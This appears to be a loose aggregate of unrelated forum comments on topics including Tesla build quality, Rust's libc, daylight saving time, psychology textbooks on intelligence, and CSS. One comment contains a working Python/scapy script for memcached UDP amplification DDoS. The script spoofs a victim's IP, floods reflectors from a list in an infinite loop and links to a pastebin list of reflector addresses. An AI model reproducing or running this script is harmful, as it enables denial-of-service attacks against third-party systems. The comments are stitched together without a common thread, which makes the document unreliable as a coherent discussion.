I'm a Model X owner. I have quality issues (loose seal & forgotten tow package at delivery, Falcon Wing Door "alignment" issues), but the rest of the car is well worth it. I consider the quality problems to just be the price of driving the car of the future (though I really could do w/o those silly falcon wing doors).

I don't think I have ever had a car that I love so much. It is big enough for family and friends, burns no fossil fuel, and leaves almost any other car in the dust off the line.

And it keeps getting better and better with software updates. In just the 4 months that I've owned the car, auto pilot has gotten noticeably better and we've gotten tons of new little features.
Will Rust be able to switch to it completely as to cut out relying on glibc on Linux for example?
It's interesting that Rust doesn't have immutable data. It "only" prevents shared mutable data, but you can always mutate data if nobody else can observe it:

let bar = [456, 789]; // const binding to owned data
let mut bar = bar; // allowed if nobody else can see `bar`
bar[0] = 123; // OK!

Immutability in Rust is not property of the data, but the way you access it.
Exactly this. What frustrates me about arguments for contemporary timekeeping is that there is some inherent simplicity to having a big arbitrary insane map of time in different places on Earth that is constantly changing and has no fundamental rules.

You need additional information than the timezone they live in to call your neighbor on the phone much less someone living in a country halfway around the world.

A colleague passed this along to me. I've been doing a lot of work in the guts of the Go runtime as part of my work at Wallaroo Labs and while there isn't a ton here yet, what there is was helpful.

The links at the bottom were what I found particularly helpful.
That code [0] is just input() calls and a query to the https://www.shodan.io/ API[1] (and poorly written if I'm being honest). Using memcache for ddos amplification can be done with a trivial python script

from scapy.all import IP, UDP, Raw, send

target = '127.0.0.256'

with open('ips.txt', 'r') as f:
ips = f.readlines()

payload = '\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n'
while True:
for ip in ips:
send(IP(src=target, dst=ip) / UDP(dport=11211) / Raw(load=payload), count=100, verbose=0)

You can get ips.txt from https://pastebin.com/eSCHTTVu (like the article says)

Sweet! Time to print new editions of all those textbooks! Time to buy a boat.
That would be a lot easier. I've assumed that NVDA would be the easiest to plug into for obvious reasons but have not looked into it specifically.

I used JAWS and Windows IE11 as a specific example because that's a popular combination with screen reader users. If something works well in NVDA and FireFox on Linux it does not follow that it will work in other combinations, at least in my own testing with things I've worked on in the past. Though targeting the low hanging fruit to begin with is how I'd also start if I was building something for this in earnest, ideally I'd want to automate testing with all the popular combinations that I expect users to have.
That's basically right. Remove any one cell or any subgroup from the knightship, and it's no longer a working spaceship -- at least not one that moves the same speed!

There are "optional extras" that can be added or removed from some spaceships. These are called "tagalongs", and aren't considered to be part of the ship. That can get a little complicated, too, though, like with another recent-ish discovery: http://conwaylife.com/wiki/Fireship .

They have a long backlog of enthusiasts to sell to first. That's a long runway to improve quality.
Changing the clocks doesn't have a good explanation at any age. You don't "gain" more hours of daylight, you don't warp reality doing it. You just want to keep getting up as "insert arbitrary time you get up" year round so rather than adjust your alarm clock when the sun starts rising earlier or later in the day you... change your alarm clock anyway? Except instead of setting the alarm back an hour you set the clock back an hour.

Well, there is nothing to believe or not believe in this study; it simply points out that most of the books disagree with what's widely accepted in the field[0]. Which do you believe, the widely accepted theory or 29 books?

[0]: https://en.wikipedia.org/wiki/Cattell%E2%80%93Horn%E2%80%93C...
They make some pretty specific claims though, it's not like it's "one researcher" vs "29 textbooks". Textbooks can be written poorly too, you know. For example:

> In contrast, fewer than a quarter of the books covered the most strongly supported contemporary, hierarchical theories, such as Carroll’s three-statrum model and CHC theory each of which posits the influence of a general intelligence on other cognitive abilities.

> The most common inaccuracy (appearing in nearly half the books) was that intelligence tests are biased against particular groups or individuals. This contradicts the 1997 consensus statement which tackles this issue and concludes that “intelligence tests are not culturally biased”.
"I'll give you the recipe. I called all the body engineers, stamping people, manufacturing, and executives into my conference room. And I said, 'I am tired of all these lousy body fits. You have six weeks to achieve world-class body fits. I have all your names. If we do not have good body fits in six weeks, I will replace all of you. Thank you for your time today."

-Ferdinand Piëch

There needs to be a culture from the top down of giving a shit about fit and finish. It's exceedingly clear that Elon Musk does not care.
For decades, the media have been misreporting what is known about intelligence, because it is politically incorrect. A good book documenting this is "The I. Q. Controversy: The Media and Public Policy" by Stanley Rothman and Mark Snyderman (1988).
Gottfredson's paper is a paper that I have read, and I see it is being used as the analytical framework for criticizing psychology textbooks. I do research for writing popular writings on psychology, so I have a whole bunch of introductory psychology textbooks in the office where I am typing this, and I have to agree that introductory psychology textbooks leave a LOT to be desired in representing the consensus of modern psychology research. That's true about research on human intelligence and true about any other psychology topic: the introductory textbooks only do a so-so job.

That said, one might wonder where to find good information about current psychology research. Sometimes there are review articles that update practitioners on current research, which are incidentally read by scientists in other disciplines. I'll note for the record that not all psychologist agree EITHER with the review article I will link here, but it is a good readable account of current issues in the psychological research on human intelligence and well worth a read for Hacker News participants who are curious about these issues. It refers to many of the most important papers in the field, most of which I have read over the last three decades.

(Disclaimer: I have met many of the researchers on human intelligence, including Gottfredson, at professional conferences, but my views of what the overall research says and who has the best leads on open research questions are my own.)

That's the trend I've noticed. Lots of 20 and 30 year old live in SF. Once the family expands, the first question is "when do we move out of the city?".

When you've got kids, things like bars and restaurants take a back seat to good schools and family-friendly neighborhoods.

Of all my coworkers with children, maybe 10% chose to stick it out in SF and they seem to bitch non-stop about the schools.
The Model S was like this, too. My Model S had a not-quite-fitting front bumper (still problematic), thoroughly dysfunctional rear seatbelts (seemed to affect all of the first several thousand cars including the demo cars, now fixed), some air leaks (gradually getting fixed at service visits), a 12V battery that needed replacement at least once a year (fixed by firmware upgrade -- the original charging algorithm seems to have been written without any consideration for how lead-acid batteries behave), goo dripping out of the sunroof ("fixed" by putting silicone sealant over the goo source), windshield sprayers that are almost impossible to align correctly (design error, presumably still affects current production), and probably several more problems that I've forgotten about.
Yes, the Commerce Clause is not the best basis for this. Clause 5 is much better:

You're right! That's absolutely possible. I've had the experience of working with such offices. I've also had the experience of working with a partially distributed team that encourages working from home. In each case, I found distinct disadvantages compared physical co-location. Both for companies and for employees.

I share your hope for the possibilities offered by VR, but I'm hesitant to shape urban planning policy for decades around it.
1. CSS and HTML are extremely resilient, they ignore your typos and unsupported features gracefully and never crash, so just daring to use them in your code, no need for exception handling comparing to JS, in that sense, if you can do it in CSS, avoid JS.

2. Leverage CSS override

3. Use browser devtools to test all browsers. No need install all older browser to check CSS. icanuse helps greatly too.

4. Use feature-queries for CSS.

These indeed can make your CSS code work for both the stone age and hottest browsers, all at the same time, without much hacking. Great videos.
The "non-profit" group is a scam, where the operator of the group gets paid very well from the operating expenses of the non-profit.

An event like this would be leveraged to draw attention to the cause, thereby the group, thereby raising more funding to spend on further self-gaining operational expenses.
NYC is a big city in terms of land area. Given the distance from Manhattan and core of the city, Brooklyn and Queens would be considered suburbs in a lot of other cities.
The sun will rise at "5 in the morning" no matter what time your clock says it is.

You could always, instead of changing time itself, just set your alarm an hour earlier or later. If your clocks go back an hour but you keep your alarm the same you are still getting up an hour earlier. You just made things way more complicated than they needed to be in the process.
People buy bmws and Mercedes and those cars all kinds of quality issues especially after the warranty ends.
Kotlin is now the preferred programming language for Android development.
I'm very happy with my P90D, but when it was time to get a second electric car, we got a Chevy Bolt, which we're also very happy with. I don't like to order things that aren't shipping yet. There have been no quality issues or bugs with my Bolt. It's never been back to the dealer.
Yes, that would be possible.
Because it's a boring, safe, traditional business model.

Instead they've bet on harvesting and exploiting information about the behaviour of the many, to ultimately allow them to exert some 'control/influence' over individuals.

And they're winning the business lottery with it.

More shame us for only considering ourselves when deciding whether or not to use a service like google. I can choose not to use google/facebook, but if everyone else uses them, they'll still have incredible power over me through the insights they gleaned about everyone else
Same thing happened with early Model S and X production.

No one cares, they are still selling those models faster than they can produce.

It seems like there's a subset of psychological researchers that want so bad to debunk the years of research into IQ. I get that there are some uncomfortable implications that arise from accepting IQ as a measure of overall intelligence, but, from my understanding, IQ is an excellent predictor of income, social status, and academic & job performance.

My opinion is that we are doing society a huge disservice by dismissing IQ.
By inspecting the supporting evidence for some of his claims. If the argument is supported by solid references then there is reason to take his analysis seriously.
The issue not raised is that every quality problem Tesla fixes after a car delivered is going to have a cost associated with it and that will raise the cost of the whole run. What becomes very important is if a crash or injury gets linked back to a manufacturing defect. I am just amazed it can get past not only the factory but the delivery center in that condition.

I am really wondering the entry level model will ever come out or if by late this year Tesla will discontinue it because of "lack of interest". As in, save money by dropping what would not be a profitable model but pass it off as a customer decision.

I still plan to wait a bit before I got BEV, the range hit in winter months is just too dramatic; a reddit poster observed that near freezing freeway drives brought his range to 230 from 310.

If anything with the burn rate they have they should retrench and put out the big ticket items first, the semi and sports car.
"It's exceedingly clear that Elon Musk does not care."

Being CEO of only one company of this size is already a huge job. Being CEO of two just seems like a big ego trip.
They have been building cars for literally 10 years, and their quality is still way below industry average.

The "long backlog" of enthusiasts is a few hundred thousands or so, and that's an absolute small percentage of the total market in this segment.

I shouldn't have to point this out since Tesla, after all, is the company that "focus on long term visions". Well I'm kindly suggesting Elon to see further than their immediate backlog.
Free Will in the Theory of Everything (2017)
Locally, yes. Spoofing IPs is one way of having a multi-homed cluster always respond on a given IP. (Higher layers figure out what's really going on, and co-ordinate responses correctly to end clients.)

In the sense of where bcp38 should be applied? I agree that it should be POSSIBLE, through some administrative means, to prove an entity does in fact own a given address range and to request the additional privilege of sending data as if it were from that range.

This would be how a non-ISP obtains an independent entity allocation and sets up multi-homing.

It's also how data-centers would allow a co-located server to do the same (and should require the same steps).

At the more backbone levels it should be possible to automatically determine IF ingress packets are from authorized sources. Failure to do this, and failure to respond in a timely manor to filtering invalid ingress, should result in 1) those packets being rejected (and visible rejection notices sent back) 2) if the issue persists, the source of that address being blocked /entirely/ from the Internet, as a non-administered system.

Grace time should likely depend on the severity of the issue (volume of problem traffic/load on the upstream filtering capacity).
>> To identify factual inaccuracies, Warne’s team used as a benchmark a consensus statement on intelligence research published in 1997 by Linda Gottfredson et al

Is the best way to define 'fact' really a twenty year old study?

Also, even if the results are believed, it doesn't seem to be a big deal. Afterall, they're reporting an average of 1 factual inaccuracy per book. When each book presents hundreds or thousands of truth claims, is 1 factual inaccuracy per book noteworthy? I'm willing to bet a much larger percentage of the 'scientific consensus' they define as 'fact' is in fact wrong.
So on Saturday morning when you start it's still Friday morning at work. To them, you're from the future.

The appliance repair model is as awful.

Call around and wait for someone to come and fail to fix the appliance. Pay way too much for said unskilled labor. Either pay again or wait forever for the original person to come and do it right as they dodge your calls and try to avoid having to finish the job. Oh and you are still on the hook for the cost of parts. And oh yeah they broke something else while they were in there. Good luck getting them to admit they did it and fix it. Also they scratched up your floor and dinged your walls.

Most of the people doing this kind of work are doing it for a reason, and it's not because they are reliable. The barrier to entry is low and there are little to no consequences for doing a bad job. Repeat business is not that important because things just don't break that often.

And then when it is finally fixed you have an old machine and the next thing breaks soon after. Or you could buy something new with a warranty sold by someone with a brand to maintain.

Also see Sam Vimes "Boots" theory.
PCF is not licensed according to inputs (cores, memory). It's licensed by application instance -- ie, the output of what you bought from us. If you run one giant app with all the CPUs and RAM you can muster, that counts as one AI.

We like this model because (1) it roughly approximates the added value our customers derive and (2) it's easy to calculate without disagreement.

We do bill PWS based on total RAM-minutes, but that's simply because the existing hosted-PaaS market assumes that model. Our price for PWS is pretty close to what it costs us to run the bits on AWS.

Of course, I should emphasise, I do not work in the sales side of things, where prices can be discussed and Baldwin quotes abound. But I kinda like the sales folk in my office, so if you want to meet one, please email me.
And Tesla has all kinds of issues when the car is brand new. One can only guess how bad they will get after the warranty ends.

And Mercedes and BMW don't go out there and make fun of other people's manufacturing.
This seems unnecessarily vitriolic. If someone has founded a self-driving truck startup that isn't going anywhere, who cares?

If Tesla's self driving truck division did a crappy demo then fair enough, but cut these guys some slack, at least they aren't in a cubicle at facebook trying to find better ways to sell ads for toilet paper.
I don't think I've ever heard someone refer to Park Slope, Bed Stuy, or Crown Heights as suburban. Levittown is the usual yard-stick by which American suburbanism is measured.

Go Packages for games
The combination of known quality problems and frequent over-the-air updates to software worries me a bit.

Software is harder to get right than seals and tow packages, and they are not paying very close attention to the latter.

Apple's devices fit together just so, but even with their vast resources their software drifts around in quality.
- The winters on the central Florida coast are beautiful.

- I work 9 hours a day, at a job I loathe, in a building with no windows.

- Anyway, I'd like to enjoy some sunshine at the end of the day after work (that is, until I rage quit my job and become a full-time beach bum, in which case the extra sunlit hours in the evening will be a boon to my panhandling). So, in any case, I'm all for this.

There are important reasons why Rust should continue to use glibc by default, but the Rust compiler already supports musl libc on Linux, so glibc is not required.
Within psychology there's a subfield that studies intelligence. The introductory textbooks to the whole field of psychology should be giving a summary of the discoveries of each individual subfield. But when it comes to intelligence they are giving information that the intelligence specialists agree is incorrect or outdated.

It's not one expert against many, it's people outside a speciality refusing to accept the consensus from within that speciality.
> So if that creation certificate expires (or is revoked) it calls into question the validity of the signature(s) created from that certificate.

Are you arguing that already-installed drivers should no longer be trusted? I can't tell.

If a cert expires at time T, the usual assumption is that forging signatures before T is not feasible (otherwise the expiration was poorly chosen), while forging signatures after T might be feasible.

If it's after T and we see a new update, we don't know whether the signature was crafted before or after T, so we should assume the latter and reject it.

But if we've already installed a driver, then we must have received its signature before T, otherwise we wouldn't have installed it at the time. So we should still continue to trust it after T.
I’m not interested in an individuals IQ predictions

I’m interested in theories that accurately model objectively as possible reality

If IQ is a good measure for some applications, fine

If it’s not when it comes to describing the reality of reality itself, not just contemporary social life, it should be pushed aside for a method that does better
